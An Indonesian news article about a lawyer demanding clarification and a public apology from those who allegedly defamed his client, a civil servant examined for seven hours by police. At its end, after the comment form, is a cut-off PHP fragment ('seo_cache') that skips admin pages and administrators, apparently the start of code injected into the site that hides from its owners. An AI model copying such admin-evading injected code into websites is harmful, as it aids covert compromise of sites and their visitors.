Hukum

Advokat Semianda Umbu Kabalu Minta Pihak yang Lakukan Perbuatan Tidak Menyenangkan terhadap Katty Horo untuk Klarifikasi secara Ksatria

×

Advokat Semianda Umbu Kabalu Minta Pihak yang Lakukan Perbuatan Tidak Menyenangkan terhadap Katty Horo untuk Klarifikasi secara Ksatria

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Kuasa hukum Catherine Rambu Kapu Horo, SE meminta pertanggungjawaban pihak yang diduga ingin menyudutkan kliennya.

Hal itu disampaikan kuasa hukum Semianda Umbu Kabalu, SH, MH usai pemeriksaan melelahkan yang berlangsung tujuh jam lebih di Ruang Unit 3 Tindak Pidana Korupsi, Satreskrim Polres SBD, Rabu (16/07/2025).

“Kami minta secara jujur dan bertanggung jawab, juga dapat mempertimbangkan posisi klien kami yang sungguh sangat merasa disudutkan, tertekan, terintimidasi akibat pemberitaan miring, tidak berdasar, tidak bertanggung jawab, dan terkesan menjadi berita yang bersifat pembohongan publik,” ujarnya blak-blakan.

Setelah pemeriksaan tersebut sebagai kuasa hukum pihaknya akan mengkaji lebih jauh untuk dalam waktu dekat bisa mengambil langkah hukum.

“Apakah akan membuat aduan pidana maupun tindakan-tindakan hukum lain yang terukur guna memulihkan harkat dan martabat klien kami,” sambungnya.

Ia juga berharap kepada semua pihak yang merasa telah melakukan tindakan maupun perbuatan yang tidak menyenangkan terhadap kliennya agar secara ksatria dapat menyampaikan klarifikasi.

Jika itu merupakan sebuah kesalahan agar menyampaikan permohonan maaf di depan publik.

“Saya pikir ini merupakan cara yang ksatria dan dengan demikian klien kami dapat dipulihkan keadaannya maupun nama baiknya” ujar Semianda.

Dirinya juga tidak bisa menyimpulkan apakah pemeriksaan itu masih dilanjutkan lagi.

Ia menyebut, untuk sementara pemeriksaan tadi sudah selesai, namun apabila nanti penyidik masih membutuhkan keterangan tambahan kliennya siap.

“Semua data, fakta, dan kebenaran siap kami ungkap,” tandasnya.

Advokat kondang yang sukses membebaskan mantan Wabup Sumba Barat, Marten N. Toni dari jeratan kasus ring road ini mengatakan, pihaknya menanti sikap dan tindakan hukum selanjutnya dari kepolisian.

Selaku kuasa hukum ia menyampaikan pihaknya akan mengambil sikap tegas menempuh upaya hukum guna memulihkan kondisi kliennya.

Ia juga meminta atensi dari instansi dimana kliennya mengabdi saat ini, khusus Dinas P dan K, kepala dinas, sekretaris dinas, dan pimpinan lainnya.

“Karena klien kami ini kan sebenarnya staf, tentu ada pimpinannya. Segala sesuatu punya garis koordinasi sehingga kami minta pimpinan dinas juga akan dapat memberikan atensi terkait dengan kasus ini,” timpalnya lagi.

Karena bagaimana pun juga tanggung jawab tersebut melekat pada diri seorang kepala dinas, dan tidak boleh mengkambinghitamkan seseorang untuk tujuan-tujuan yang menurutnya sangat tidak bermartabat.

“Tindakan-tindakan yang tidak beretika dan tidak bermoral, saya pikir tidak patut kita pertontonkan terhadap sebuah kejadian yang belum dapat kita pastikan kebenarannya seperti apa,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>